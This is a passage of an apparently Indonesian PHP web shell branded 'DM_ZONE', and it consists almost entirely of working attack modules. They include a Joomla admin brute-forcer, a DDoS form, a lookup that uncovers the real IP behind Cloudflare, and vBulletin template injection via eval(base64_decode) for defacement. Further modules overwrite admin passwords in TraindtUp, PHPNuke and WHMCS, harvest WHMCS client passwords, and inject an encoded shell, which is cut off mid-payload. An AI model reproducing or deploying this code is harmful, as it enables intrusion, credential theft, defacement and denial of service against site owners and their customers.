3820} } }
3821
3822
3823function txt_cln($value) {
3824return str_replace(array("\n","\r"),"",$value);
3825}
3826
3827class Joomla_brute_Force{
3828public function check_it($site,$user,$pass){
3829
3830if(eregi('com_config',$this->post($site,$user,$pass))){
3831echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
3832$f = fopen("Result.txt","a+");
3833fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php\n");
3834fclose($f);
3835flush();
3836} else {
3837echo "# Failed : $user:$pass -> $site<BR>"; flush();
3838}
3839}
3840
3841public function post($site,$user,$pass){
3842$token = $this->extract_token($site);
3843$curl=curl_init();
3844
3845curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
3846curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
3847@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
3848@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
3849curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
3850@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
3851curl_setopt($curl,CURLOPT_POST,1);
3852curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
3853curl_setopt($curl,CURLOPT_TIMEOUT,20);
3854
3855$exec=curl_exec($curl);
3856curl_close($curl);
3857return $exec;
3858}
3859
3860public function extract_token($site){
3861$source = $this->get_source($site);
3862preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
3863return $token[1][0];
3864}
3865
3866public function get_source($site){
3867$curl=curl_init();
3868curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
3869curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
3870@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
3871@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
3872curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
3873@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
3874curl_setopt($curl,CURLOPT_TIMEOUT,20);
3875
3876$exec=curl_exec($curl);
3877curl_close($curl);
3878return $exec;
3879}
3880}
3881}
3882
3883
3884
3885elseif(isset($_GET['x']) && ($_GET['x'] == 'phpddos')) {
3886?>
3887<form action="?dm=<?php echo $pwd; ?>&x=phpddos" method="post">
3888
3889
3890<?php
3891
3892echo $head.$formg.$nowaddress.'<br><br><br><title>-=[ Ddos tool ]=-</title><br><br><table class="tabnet" ><b><p align="center">Address : <input class=inputz name=urldd0 size=50> Time : <input class=inputz name=timedd0 size=6 value=40000></b><br><input class="inputzbut"type=submit value=" Get Fire!!! "></form></p></table>'.$end;exit;
3893
3894
3895
3896if($_GET['urldd0'] && $_GET['timedd0']){
3897for ($id=0;$$id<$_GET['timedd0'];$id++){
3898$fp=null;
3899$contents=null;
3900$fp=fopen($_GET['urldd0'],"rb");
3901
3902while (!feof($fp)) {
3903
3904$contents .= fread($fp, 8192);
3905}
3906fclose($fp);
3907}
3908}
3909}
3910
3911
3912
3913# x=cloud
3914elseif(isset($_GET['x']) && ($_GET['x'] == 'cf')){
3915echo '<center><br/><br/>
3916<form method="POST">
3917<select class="inputz" name="krz">
3918<option>FTP</option>
3919<option>DIRECT</option>
3920<option>WEBMAIL</option>
3921<option>CPANEL</option></select>
3922
3923<input class="inputz" type="text" name="target" value="url">
3924<input class="inputzbut" type="submit" value=" >> "></center>';
3925
3926
3927$target = $_POST['target'];
3928
3929if($_POST['krz'] == "ftp") {
3930$ftp = gethostbyname("ftp."."$target");echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
3931Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
3932}
3933
3934if($_POST['krz'] == "direct-connect") {
3935$direct = gethostbyname("direct-connect."."$target");
3936echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
3937Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
3938}
3939
3940if($_POST['krz'] == "webmail") {
3941$web = gethostbyname("webmail."."$target");
3942echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
3943Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
3944}
3945
3946if($_POST['krz'] == "cpanel") {
3947$cpanel = gethostbyname("cpanel."."$target");
3948echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
3949Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
3950}
3951}
3952
3953
3954# x=vb1
3955elseif(isset($_GET['x']) && ($_GET['x'] == 'vb1')){
3956?>
3957<form action="?dm=<?php echo $pwd; ?>&x=vb1" method="post">
3958
3959
3960<br><br><br><div align="center">
3961<?php
3962if(empty($_POST['index'])){
3963echo "<center><form method=\"POST\">
3964DB Host : <input size=\"15\" value=\"localhost\" style='color:#FF0000;background-color:#000000' name=\"localhost\" type=\"text\"><br>
3965DB Name : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"database\" type=\"text\"><br>
3966DB User : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"username\" type=\"text\"><br>
3967DB Pass : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"password\" type=\"text\"><br>
3968<br>
3969<textarea name=\"index\" cols=\"100\" rows=\"20\">[+] HALAMAN INDEX DEFACE [+]</textarea><br>
3970<input value=\" >> \" style='color:#FF0000;background-color:#000000' name=\"send\" type=\"submit\">
3971</form></center>";
3972}else{
3973$localhost = $_POST['localhost'];
3974$database = $_POST['database'];
3975$username = $_POST['username'];
3976$password = $_POST['password'];
3977$index = $_POST['index'];
3978@mysql_connect($localhost,$username,$password) or die(mysql_error());
3979@mysql_select_db($database) or die(mysql_error());
3980
3981$index=str_replace("\'","'",$index);
3982
3983$set_index = "{\${eval(base64_decode(\'";
3984
3985$set_index .= base64_encode("echo \"$index\";");
3986
3987
3988$set_index .= "\'))}}{\${exit()}}</textarea>";
3989
3990echo("UPDATE template SET template ='".$set_index."' ") ;
3991$ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
3992
3993if($ok){
3994echo "!! update finish !!<br><br>";
3995}
3996}
3997}
3998
3999// x=traindt
4000elseif(isset($_GET['x']) && ($_GET['x'] == 'traindt')) {
4001// password changer
4002?>
4003<form action="?dm=<?php echo $pwd; ?>&x=traindt" method="post">
4004
4005<?php
4006echo "<html><head><title>TraindtUpLoginChanger</title></head>";
4007echo "<body><center>
4008<h2>^_^ DM_ZONE ^_^</h2>
4009<h3>TraindtUp UsEr-PaSs FuCk3r</h3>
4010<form method=POST action=''>
4011DB HOST<br/>
4012<input style='color:lime;background-color:#000000' value=localhost type=text name=anu1 size='40'><br/>
4013DB NAME<br/>
4014<input style='color:lime;background-color:#000000' type=text name=anu2 size='40'><br/>
4015DB USER<br/>
4016<input style='color:lime;background-color:#000000' type=text name=anu3 size='40'><br/>
4017DB PASSWORD<br/>
4018<input style='color:lime;background-color:#000000' type=password name=anu4 size='40'><br/>
4019<hr style='color:lime;'> <p>TARGET ID ADMIN MAHO<br/>
4020<input value='1' style='color:lime;background-color:#000000' type=text name=idmaho size='20'><br/>
4021NEW ADMIN LOGIN USER<br/>
4022<input value=admin-ganteng style='color:lime;background-color:#000000' type=text name=userbaru size='20'><br/>
4023NEW ADMIN LOGIN PASS<br/>
4024<input value=dm style='color:lime;background-color:#000000' type=password name=passbaru size='20'><br/><p>
4025
4026<input style='color:lime;background-color:#000000' type=submit value='[~] GANTENGIN COK [~] ' ></form>";
4027
4028$anu1 = $_POST['anu1'];
4029$anu2 = $_POST['anu2'];
4030$anu3 = $_POST['anu3'];
4031$anu4 = $_POST['anu4'];
4032@mysql_connect($anu1,$anu3,$anu4);
4033@mysql_select_db($anu2);
4034
4035$idmaho=str_replace("\'","'",$idmaho);
4036$target_id = $_POST['idmaho'];
4037
4038$userbaru=str_replace("\'","'",$userbaru);
4039$ganti_user = $_POST['userbaru'];
4040
4041$passbaru=str_replace("\'","'",$passbaru);
4042$hash_pass = $_POST['passbaru'];
4043$ganti_pass = md5($hash_pass);
4044
4045$sodok1 = "UPDATE admin SET admin_user ='".$ganti_user."' WHERE admin_id ='".$target_id."'";
4046$sodok2 = "UPDATE admin SET admin_password ='".$ganti_pass."' WHERE admin_id ='".$target_id."'";
4047
4048$oke=@mysql_query($sodok1);
4049$oke=@mysql_query($sodok2);
4050if($oke)
4051{
4052echo "<center><font color='lime'>SUKSES BOS GANTENG :P</font>";
4053}
4054}
4055
4056// x=nuke
4057elseif(isset($_GET['x']) && ($_GET['x'] == 'nuke')) {
4058// password changer
4059?>
4060<form action="?dm=<?php echo $pwd; ?>&x=nuke" method="post">
4061
4062<?php
4063echo "<html><head><title>PHPNukeLoginChanger</title></head>";
4064echo "<body><center>
4065<h2>^_^ DM_ZONE ^_^</h2>
4066<h3>PHPNuke UsEr-PaSs FuCk3r</h3>
4067<form method=POST action=''>
4068DB HOST<br/>
4069<input style='color:lime;background-color:#000000' value=localhost type=text name=anu1 size='40'><br/>
4070DB NAME<br/>
4071<input style='color:lime;background-color:#000000' type=text name=anu2 size='40'><br/>
4072DB USER<br/>
4073<input style='color:lime;background-color:#000000' type=text name=anu3 size='40'><br/>
4074DB PASSWORD<br/>
4075<input style='color:lime;background-color:#000000' type=password name=anu4 size='40'><br/>
4076<hr style='color:lime;'>
4077
4078TARGET PREFIX<br/>
4079<input style='color:lime;background-color:#000000' type=txt name=prefix size='20'><br/>
4080NEW ADMIN LOGIN USER<br/>
4081<input value=admin style='color:lime;background-color:#000000' type=text name=userbaru size='20'><br/>
4082NEW ADMIN LOGIN PASS<br/>
4083<input value=dm style='color:lime;background-color:#000000' type=password name=passbaru size='20'><br/><p>
4084
4085<input style='color:lime;background-color:#000000' type=submit value='[~] GANTENGIN COK [~] ' ></form>";
4086
4087$anu1 = $_POST['anu1'];
4088$anu2 = $_POST['anu2'];
4089$anu3 = $_POST['anu3'];
4090$anu4 = $_POST['anu4'];
4091@mysql_connect($anu1,$anu3,$anu4);
4092@mysql_select_db($anu2);
4093
4094$userbaru=str_replace("\'","'",$userbaru);
4095$ganti_user = $_POST['userbaru'];
4096$passbaru=str_replace("\'","'",$passbaru);
4097$hash_pass = $_POST['passbaru'];
4098$ganti_pass = md5($hash_pass);
4099
4100$prefix = $_POST['prefix'];
4101$table_name1 = $prefix."users" ;
4102$table_name2 = $prefix."authors" ;
4103
4104$okenuke1 = "UPDATE $table_name1 SET username ='".$ganti_user."' WHERE user_id ='2'";
4105$okenuke2 = "UPDATE $table_name1 SET user_password ='".$ganti_pass."' WHERE user_id ='2'";
4106$okenuke3= "UPDATE $table_name2 SET aid ='".$ganti_user."' WHERE radminsuper ='1'";
4107$okenuke4 = "UPDATE $table_name2 SET pwd ='".$ganti_pass."' WHERE radminsuper ='1'";
4108
4109$oke=@mysql_query($okenuke1);
4110$oke=@mysql_query($okenuke2);
4111$oke=@mysql_query($okenuke3);
4112$oke=@mysql_query($okenuke4);
4113if($oke)
4114{
4115echo "<center><font color='lime'>SUKSES BOS GANTENG :P</font>";
4116}
4117}
4118
4119# x=dmwhmcs9
4120elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs9')) {
4121?>
4122<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs9" method="post">
4123
4124 <p><br/><body>
4125<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ CHECK WHMCS</span> <span class="b8">LICENSE & VERSION ]:=O</span></b></nobr><br/><br/>
4126<p><form method="post">
4127<table border=1>
4128<tr><td>Hosting Site </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" value="http://" name="url"></td></tr>
4129<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr></table>
4130<br></form></center>
4131
4132<?php
4133@error_reporting(0);
4134@ini_set('log_errors',0);
4135@ini_set('error_log',NULL);
4136if(isset($_POST['plapon'])){
4137$target = $_POST['url'];
4138$bukadikitjoss = fopen("$target/?licensedebug","r");
4139$hasil = '';
4140while (!feof($bukadikitjoss)) {
4141$hasil .= fread($bukadikitjoss, 8192);
4142}
4143echo "<center><textarea style='color:#FF0000;background-color:#000000' cols='40' rows='15'>$hasil</textarea>";
4144}
4145echo "</table>";
4146}
4147
4148 # x=dmwhmcs1
4149elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs1')) {
4150?>
4151<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs1" method="post">
4152
4153<p><br/><body>
4154<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ GRAB PASSWORD</span> <span class="b8">CLIENT HOSTING ]:=O</span></b></nobr><br/><br/>
4155<p><form method="post">
4156<table border=1>
4157<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
4158<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
4159<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
4160<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
4161<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4162
4163</table>
4164<br></form></center>
4165
4166<?php
4167if(isset($_POST['plapon'])) {
4168
4169$perawan = $_POST['anu1'];
4170$kimcil = $_POST['anu2'];
4171$janda = $_POST['anu3'];
4172$hotel = $_POST['anu4'];
4173function get_string_between($string, $start, $end){
4174$string = " ".$string;
4175$ini = strpos($string,$start);
4176if ($ini == 0) return "";
4177$ini += strlen($start);
4178$len = strpos($string,$end,$ini) - $ini;
4179return substr($string,$ini,$len);
4180}
4181@mysql_connect($perawan,$kimcil,$janda);
4182@mysql_select_db($hotel) or die ("Gagal Koneksi Ke Database");
4183$query="select subject,message from tblemails";
4184$result=mysql_query($query);
4185mysql_close();
4186$num=mysql_numrows($result);
4187$i=0;
4188while ($i < $num) {
4189$css =mysql_result($result,$i,"subject");echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4190<tr><th colspan='7'> <span class='b7'>O=:[ HOST ROOT ]:=O</span> </th></tr><tr>
4191<th align='center'><b>CLIENT EMAIL</b></th>
4192<th align='center'><b>CLIENT PASSWORD</b></th>
4193</tr>";
4194
4195
4196if(stristr($css,"Welcome")){
4197$s =mysql_result($result,$i,"message");
4198if(stristr($s,"Login Username: ") or stristr($s,"Email Address: ")){
4199$mail= get_string_between($s,"Login Username: ","<br />");
4200$m2 = get_string_between($s,"Email Address: ","<br />");
4201$pass = get_string_between($s,"Password: ","</p>");
4202print $mail.$m2.":".$pass."<br>";
4203
4204echo "<tr>
4205<td align='center'>$mail.$m2.</td>
4206<td align='center'>".$pass."</td>
4207</tr>";
4208}
4209}
4210++$i;
4211}
4212}
4213echo "</table>";
4214}
4215
4216# x=dmwhmcs3
4217elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs3')) {
4218?>
4219<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs3" method="post">
4220 <p><br/><body>
4221<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ PASSWORD</span> <span class="b8">CHANGER ]:=O</span></b></nobr><br/><br/>
4222<p><form method="post">
4223<table border=1>
4224<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu1" value="localhost"></td></tr>
4225<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu2"></td></tr>
4226<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu3"></td></tr>
4227<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu4"></td></tr>
4228<tr><td>id_admin</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="1" name="idmaho"></td></tr>
4229<tr><td>new_username</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="hacker" name="userbaru"></td></tr>
4230<tr><td>new_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="hackerpassword" name="passbaru"></td></tr>
4231
4232<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4233</table>
4234<br>
4235</form>
4236</center>
4237
4238<?php
4239if(isset($_POST['plapon'])) {
4240$anu1 = $_POST['anu1'];
4241$anu2 = $_POST['anu2'];
4242$anu3 = $_POST['anu3'];
4243$anu4 = $_POST['anu4'];
4244@mysql_connect($anu1,$anu2,$anu3);
4245@mysql_select_db($anu4);
4246
4247$idmaho=str_replace("\'","'",$idmaho);
4248$target_id = $_POST['idmaho'];
4249$userbaru=str_replace("\'","'",$userbaru);
4250$ganti_user = $_POST['userbaru'];
4251$passbaru=str_replace("\'","'",$passbaru);
4252
4253$hash_pass = $_POST['passbaru'];
4254$ganti_pass = md5($hash_pass);
4255
4256$colox = "UPDATE tbladmins SET username ='".$ganti_user."' WHERE id ='".$target_id."'";
4257$coloxx = "UPDATE tbladmins SET password ='".$ganti_pass."' WHERE id ='".$target_id."'";
4258
4259$udah_ganteng=@mysql_query($colox);
4260$udah_ganteng=@mysql_query($coloxx);
4261if($udah_ganteng)
4262{
4263echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
4264}
4265}
4266
4267}
4268
4269
4270# x=dmwhmcs2
4271elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs2')) {
4272?>
4273<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs2" method="post">
4274 <p><br/><body>
4275<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ INJECT </span> <span class="b8">SHELL ]:=O</span></b></nobr><br/><br/>
4276<p><form method="post">
4277<table border=1>
4278<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu1" value="localhost"></td></tr>
4279<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu2"></td></tr>
4280<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu3"></td></tr>
4281<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu4"></td></tr>
4282<tr><td align="center" colspan="2"> <textarea style='color:red;background-color:#000000' rows='10' cols='67'
4283name=shell>{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajROQ2cwS1BEOXdhSEFOQ21WeWNtOXlYM0psY0c5eWRHbHVaeWd3S1RzTkNpUnpZM0pwY0hSdVlXMWxJRDBnSkY5VFJWSldSVkpiSjFORFVrbFFWRjlPUVUxRkoxMDdEUW9rWm1sc1pXNWhiV1VnUFNBa1gxQlBVMVJiSW1acGJHVnVZVzFsSWwwN0RRcHBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKUGNHVnVJaWtOQ25zTkNtbG1LR1pwYkdWZlpYaHBjM1J6S0NSbWFXeGxibUZ0WlNrcERRcDdEUW9rWm1sc1pXTnZiblJsYm5SeklEMGdhSFJ0YkdWdWRHbDBhV1Z6S0dacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NSbWFXeGxibUZ0WlNrcE93MEthV1lvSVNSbWFXeGxZMjl1ZEdWdWRITXBEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrUlhKeWIzSWdUbTkwYUdsdVp5QkdhV3hsUEM5bWIyNTBQaUk3RFFwOURRcGxiSE5sRFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1JtbHNaU0JrYjJWeklHNXZkQ0JsZUdsemRDRThMMlp2Ym5RK0lqc05DbjBKQ1EwS1pXeHpaU0JwWmlna1gxQlBVMVJiSW5OMVltMXBkQ0pkSUQwOUlDSkVaV3hsZEdVaUtRMEtldzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25zTkNtbG1LSFZ1YkdsdWF5Z2tabWxzWlc1aGJXVXBLUWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJSE4xWTJObGMzTm1kV3hzZVNCa1pXeGxkR1ZrSVR3dlptOXVkRDRpT3cwS1pXeHpaUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCa1pXeGxkR1VnWm1sc1pTRThMMlp2Ym5RK0lqc05DbjBOQ21Wc2MyVU5DaVJ6ZEdGMGRYTWdQU0FpUEdadmJuUWdabUZqWlQwblZtVnlaR0Z1WVNjZ2MzUjViR1U5SjJadmJuUXRjMmw2WlRvZ09IQjBKejVHYVd4bElHUnZaWE1nYm05MElHVjRhWE4wSVR3dlptOXVkRDRpT3cwS2ZRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pUWVhabElpa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0J6ZEhKcGNITnNZWE5vWlhNb2FIUnRiRjlsYm5ScGRIbGZaR1ZqYjJSbEtDUmZVRTlUVkZzaVkyOXVkR1Z1ZEhNaVhTa3BPdzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25WdWJHbHVheWdrWm1sc1pXNWhiV1VwT3cwS0pHaGhibVJzWlNBOUlHWnZjR1Z1S0NSbWFXeGxibUZ0WlN3Z0luY2lLVHNOQ21sbUtDRWthR0Z1Wkd4bEtRMEtKSE4wWVhSMWN5QTlJQ0k4Wm05dWRDQm1ZV05sUFNkV1pYSmtZVzVoSnlCemRIbHNaVDBuWm05dWRDMXphWHBsT2lBNGNIUW5Qa052ZFd4a0lHNXZkQ0J2Y0dWdUlHWnBiR1VnWm05eUlIZHlhWFJsSUdGalkyVnpjeUVnUEM5bWIyNTBQaUk3RFFwbGJITmxEUXA3RFFwcFppZ2habmR5YVhSbEtDUm9ZVzVrYkdVc0lDUm1hV3hsWTI5dWRHVnVkSE1wS1EwS0pITjBZWFIxY3lBOUlDUnpkR0YwZFhNdUlqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1EyOTFiR1FnYm05MElIZHlhWFJsSUhSdklHWnBiR1VoSUNoTllYbGlaU0I1YjNVZ1pHbGtiaWQwSUdWdWRHVnlJR0Z1ZVNCMFpYaDBQeWs4TDJadmJuUStJanNOQ21aamJHOXpaU2drYUdGdVpHeGxLVHNOQ24wTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCb2RHMXNaVzUwYVhScFpYTW9KR1pwYkdWamIyNTBaVzUwY3lrN0RRcDlEUXBsYkhObERRcDdEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrVG04Z1ptbHNaU0JzYjJGa1pXUWhQQzltYjI1MFBpSTdEUXA5RFFvL1BnMEtQSFJoWW14bElHSnZjbVJsY2owaU1DSWdZV3hwWjI0OUltTmxiblJsY2lJK1BIUnlQangwWkQ0OGRHRmliR1VnZDJsa2RHZzlJakV3TUNVaUlHSnZjbVJsY2owaU1DSStQSFJ5UGp4MFpENE5DanhtYjNKdElHMWxkR2h2WkQwaWNHOXpkQ0lnWVdOMGFXOXVQU0k4UDBWamFHOGdKSE5qY21sd2RHNWhiV1U3UHo0aVBnMEtQR2x1Y0hWMElITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2JtRnRaVDBpWm1sc1pXNWhiV1VpSUhSNWNHVTlJblJsZUhRaUlIWmhiSFZsUFNJOFAwVmphRzhnSkdacGJHVnVZVzFsT3o4K0lpQnphWHBsUFNJM01pSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCemRIbHNaVDBpWTI5c2IzSTZiR2x0WlR0aVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lNd01EQXdNREFpSUc1aGJXVTlJbk4xWW0xcGRDSWdkbUZzZFdVOUlrOXdaVzRpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdjM1I1YkdVOUltTnZiRzl5T214cGJXVTdZbUZqYTJkeWIzVnVaQzFqYjJ4dmNqb2pNREF3TURBd0lpQnVZVzFsUFNKemRXSnRhWFFpSUhaaGJIVmxQU0pFWld4bGRHVWlQand2ZEdRK1BDOTBjajQ4TDNSaFlteGxQZzBLUEdadmJuUWdabUZqWlQwaVZtVnlaR0Z1WVNJZ2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ01URndkQ0krRFFvOGRHVjRkR0Z5WldFZ2JtRnRaVDBpWTI5dWRHVnVkSE1pSUhOMGVXeGxQU0pqYjJ4dmNqcHNhVzFsTzJKaFkydG5jbTkxYm1RdFkyOXNiM0k2SXpBd01EQXdNQ0lnWTI5c2N6MGlOekFpSUhKdmQzTTlJakkxSWo0TkNqdy9SV05vYnlBa1ptbHNaV052Ym5SbGJuUnpPejgrUEM5MFpYaDBZWEpsWVQ0OEwyWnZiblErUEdKeVBnMEtQR2x1Y0hWMElIUjVjR1U5SW5OMVltMXBkQ0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSnpkV0p0YVhRaUlIWmhiSFZsUFNKVFlYWmxJajROQ2p4cGJuQjFkQ0IwZVhCbFBTSnlaWE5sZENJZ2MzUjViR1U5SW1OdmJHOXlPbXhwYldVN1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvak1EQXdNREF3SWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZzBLUEhBK0RRbzhhRE0rWDFWUVRFOUJSQ0JHU1V4Rlh6eG9NejROQ2cwS1BEOXdhSEFOQ2cwS1pXTm9ieUFuUEdadmNtMGdZV04wYVc5dVBTSWlJRzFsZEdodlpEMGljRzl6ZENJZ1pXNWpkSGx3WlQwaWJYVnNkR2x3WVhKMEwyWnZjbTB0WkdGMFlTSWdibUZ0WlQwaWRYQnNiMkZrWlhJaUlHbGtQU0oxY0d4dllXUmxjaUkrSnpzTkNnMEtaV05vYnlBblVFRlVTQ0JVUVZKSFJWUWdPaUE4YVc1d2RYUWdibUZ0WlQwaWRYQnNiMkZrZEc4aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpZEdWNGRDSWdjMmw2WlQwaU5UQWlJSFpoYkhWbFBTSW5MbWRsZEdOM1pDZ3BMaWNpUGp4aWNpQXZQaWM3RFFwbFkyaHZJQ2M4YVc1d2RYUWdkSGx3WlQwaVptbHNaU0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0l6TUNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpYzNWaWJXbDBJaUJwWkQwaVgzVndiQ0lnZG1Gc2RXVTlJbFZ3Ykc5aFpDSStQQzltYjNKdFBpYzdEUXBwWmlnZ0pGOVFUMU5VV3lkZmRYQnNKMTBnUFQwZ0lsVndiRzloWkNJZ0tTQjdEUXBwWmloQVkyOXdlU2drWDBaSlRFVlRXeWRtYVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZlVFOVRWRnNuZFhCc2IyRmtkRzhuWFM0bkx5Y3VKRjlHU1V4RlUxc25abWxzWlNkZFd5ZHVZVzFsSjEwcEtTQjdEUW9OQ21WamFHOGdKenhtYjI1MElHTnZiRzl5UFNKc2FXMWxJajViSzEwZ1ZYQnNiMkZrSUZOMWEzTmxjeUE2ZGlBOFluSXZQaUJiSzEwZ0p5NGtYMUJQVTFSYkozVndiRzloWkhSdkoxMHVJaThpTGlSZlJrbE1SVk5iSjJacGJHVW5YVnNuY